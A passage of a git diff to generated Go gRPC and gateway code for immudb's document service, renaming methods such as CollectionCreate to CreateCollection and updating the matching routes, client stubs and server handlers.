"list"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_GetCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_IndexCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"indexes", "create"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_IndexDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"indexes", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"index"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"index", "delete"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertmany"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"documents"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_UpdateDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_SearchDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentProof_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ProveDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "prove"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( - forward_DocumentService_CollectionCreate_0 = runtime.ForwardResponseMessage - - forward_DocumentService_CollectionGet_0 = runtime.ForwardResponseMessage + forward_DocumentService_CreateCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_CollectionList_0 = runtime.ForwardResponseMessage + forward_DocumentService_GetCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_CollectionDelete_0 = runtime.ForwardResponseMessage + forward_DocumentService_GetCollections_0 = runtime.ForwardResponseMessage - forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage + forward_DocumentService_UpdateCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_IndexCreate_0 = runtime.ForwardResponseMessage + forward_DocumentService_DeleteCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_IndexDelete_0 = runtime.ForwardResponseMessage + forward_DocumentService_CreateIndex_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_DocumentService_DeleteIndex_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage + forward_DocumentService_InsertDocuments_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentUpdate_0 = runtime.ForwardResponseMessage + forward_DocumentService_UpdateDocument_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage + forward_DocumentService_DeleteDocuments_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage + forward_DocumentService_SearchDocuments_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentProof_0 = runtime.ForwardResponseMessage + forward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage - forward_DocumentService_DocumentDelete_0 = runtime.ForwardResponseMessage + forward_DocumentService_ProveDocument_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index 15526a0691..a62fc04adc 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -18,20 +18,19 @@ const _ = grpc.SupportPackageIsVersion7 // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type DocumentServiceClient interface { - CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) - CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) - CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) - CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) - CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) - IndexCreate(ctx context.Context, in *IndexCreateRequest, opts ...grpc.CallOption) (*IndexCreateResponse, error) - IndexDelete(ctx context.Context, in *IndexDeleteRequest, opts ...grpc.CallOption) (*IndexDeleteResponse, error) - DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) - DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) - DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) - DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) - DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) - DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) - DocumentDelete(ctx context.Context, in *DocumentDeleteRequest, opts ...grpc.CallOption) (*DocumentDeleteResponse, error) + CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) + GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) + GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) + UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) + DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) + CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) + DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) + InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) + UpdateDocument(ctx context.Context, in *UpdateDocumentRequest, opts ...grpc.CallOption) (*UpdateDocumentResponse, error) + DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) + SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) + AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) + ProveDocument(ctx context.Context, in *ProveDocumentRequest, opts ...grpc.CallOption) (*ProveDocumentResponse, error) } type documentServiceClient struct { @@ -42,126 +41,117 @@ func NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient return &documentServiceClient{cc} } -func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { - out := new(CollectionCreateResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionCreate", in, out, opts...) +func (c *documentServiceClient) CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) { + out := new(CreateCollectionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CreateCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) { - out := new(CollectionGetResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionGet", in, out, opts...) +func (c *documentServiceClient) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) { + out := new(GetCollectionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { - out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionList", in, out, opts...) +func (c *documentServiceClient) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) { + out := new(GetCollectionsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollections", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) { - out := new(CollectionDeleteResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionDelete", in, out, opts...) +func (c *documentServiceClient) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) { + out := new(UpdateCollectionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/UpdateCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) { - out := new(CollectionUpdateResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CollectionUpdate", in, out, opts...) +func (c *documentServiceClient) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) { + out := new(DeleteCollectionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DeleteCollection", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) IndexCreate(ctx context.Context, in *IndexCreateRequest, opts ...grpc.CallOption) (*IndexCreateResponse, error) { - out := new(IndexCreateResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/IndexCreate", in, out, opts...) +func (c *documentServiceClient) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) { + out := new(CreateIndexResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CreateIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) IndexDelete(ctx context.Context, in *IndexDeleteRequest, opts ...grpc.CallOption) (*IndexDeleteResponse, error) { - out := new(IndexDeleteResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/IndexDelete", in, out, opts...) +func (c *documentServiceClient) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) { + out := new(DeleteIndexResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DeleteIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { - out := new(DocumentInsertResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentInsert", in, out, opts...) +func (c *documentServiceClient) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) { + out := new(InsertDocumentsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/InsertDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) { - out := new(DocumentInsertManyResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentInsertMany", in, out, opts...) +func (c *documentServiceClient) UpdateDocument(ctx context.Context, in *UpdateDocumentRequest, opts ...grpc.CallOption) (*UpdateDocumentResponse, error) { + out := new(UpdateDocumentResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/UpdateDocument", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) { - out := new(DocumentUpdateResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentUpdate", in, out, opts...) +func (c *documentServiceClient) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) { + out := new(DeleteDocumentsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DeleteDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { - out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentSearch", in, out, opts...) +func (c *documentServiceClient) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) { + out := new(SearchDocumentsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/SearchDocuments", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) { - out := new(DocumentAuditResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentAudit", in, out, opts...) +func (c *documentServiceClient) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) { + out := new(AuditDocumentResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/AuditDocument", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) { - out := new(DocumentProofResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentProof", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *documentServiceClient) DocumentDelete(ctx context.Context, in *DocumentDeleteRequest, opts ...grpc.CallOption) (*DocumentDeleteResponse, error) { - out := new(DocumentDeleteResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentDelete", in, out, opts...) +func (c *documentServiceClient) ProveDocument(ctx context.Context, in *ProveDocumentRequest, opts ...grpc.CallOption) (*ProveDocumentResponse, error) { + out := new(ProveDocumentResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ProveDocument", in, out, opts...) if err != nil { return nil, err } @@ -172,67 +162,63 @@ func (c *documentServiceClient) DocumentDelete(ctx context.Context, in *Document // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility type DocumentServiceServer interface { - CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) - CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) - CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) - CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) - CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) - IndexCreate(context.Context, *IndexCreateRequest) (*IndexCreateResponse, error) - IndexDelete(context.Context, *IndexDeleteRequest) (*IndexDeleteResponse, error) - DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) - DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) - DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) - DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) - DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) - DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) - DocumentDelete(context.Context, *DocumentDeleteRequest) (*DocumentDeleteResponse, error) + CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) + GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) + GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) + UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) + DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) + CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) + DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) + InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) + UpdateDocument(context.Context, *UpdateDocumentRequest) (*UpdateDocumentResponse, error) + DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) + SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) + AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) + ProveDocument(context.Context, *ProveDocumentRequest) (*ProveDocumentResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. type UnimplementedDocumentServiceServer struct { } -func (UnimplementedDocumentServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") +func (UnimplementedDocumentServiceServer) CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CreateCollection not implemented") } -func (UnimplementedDocumentServiceServer) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") +func (UnimplementedDocumentServiceServer) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetCollection not implemented") } -func (UnimplementedDocumentServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") +func (UnimplementedDocumentServiceServer) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetCollections not implemented") } -func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") +func (UnimplementedDocumentServiceServer) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method UpdateCollection not implemented") } -func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") +func (UnimplementedDocumentServiceServer) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DeleteCollection not implemented") } -func (UnimplementedDocumentServiceServer) IndexCreate(context.Context, *IndexCreateRequest) (*IndexCreateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method IndexCreate not implemented") +func (UnimplementedDocumentServiceServer) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CreateIndex not implemented") } -func (UnimplementedDocumentServiceServer) IndexDelete(context.Context, *IndexDeleteRequest) (*IndexDeleteResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method IndexDelete not implemented") +func (UnimplementedDocumentServiceServer) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DeleteIndex not implemented") } -func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") +func (UnimplementedDocumentServiceServer) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method InsertDocuments not implemented") } -func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") +func (UnimplementedDocumentServiceServer) UpdateDocument(context.Context, *UpdateDocumentRequest) (*UpdateDocumentResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method UpdateDocument not implemented") } -func (UnimplementedDocumentServiceServer) DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentUpdate not implemented") +func (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DeleteDocuments not implemented") } -func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") +func (UnimplementedDocumentServiceServer) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method SearchDocuments not implemented") } -func (UnimplementedDocumentServiceServer) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentAudit not implemented") +func (UnimplementedDocumentServiceServer) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method AuditDocument not implemented") } -func (UnimplementedDocumentServiceServer) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentProof not implemented") -} -func (UnimplementedDocumentServiceServer) DocumentDelete(context.Context, *DocumentDeleteRequest) (*DocumentDeleteResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentDelete not implemented") +func (UnimplementedDocumentServiceServer) ProveDocument(context.Context, *ProveDocumentRequest) (*ProveDocumentResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method ProveDocument not implemented") } // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. @@ -246,254 +232,236 @@ func RegisterDocumentServiceServer(s grpc.ServiceRegistrar, srv DocumentServiceS s.RegisterService(&DocumentService_ServiceDesc, srv) } -func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionCreateRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(DocumentServiceServer).CollectionCreate(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.model.DocumentService/CollectionCreate", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) - } - return interceptor(ctx, in, info, handler) -} - -func _DocumentService_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionGetRequest) +func _DocumentService_CreateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CreateCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionGet(ctx, in) + return srv.(DocumentServiceServer).CreateCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/CollectionGet", + FullMethod: "/immudb.model.DocumentService/CreateCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionGet(ctx, req.(*CollectionGetRequest)) + return srv.(DocumentServiceServer).CreateCollection(ctx, req.(*CreateCollectionRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionListRequest) +func _DocumentService_GetCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionList(ctx, in) + return srv.(DocumentServiceServer).GetCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/CollectionList", + FullMethod: "/immudb.model.DocumentService/GetCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + return srv.(DocumentServiceServer).GetCollection(ctx, req.(*GetCollectionRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionDeleteRequest) +func _DocumentService_GetCollections_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetCollectionsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionDelete(ctx, in) + return srv.(DocumentServiceServer).GetCollections(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/CollectionDelete", + FullMethod: "/immudb.model.DocumentService/GetCollections", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + return srv.(DocumentServiceServer).GetCollections(ctx, req.(*GetCollectionsRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionUpdateRequest) +func _DocumentService_UpdateCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(UpdateCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionUpdate(ctx, in) + return srv.(DocumentServiceServer).UpdateCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/CollectionUpdate", + FullMethod: "/immudb.model.DocumentService/UpdateCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return 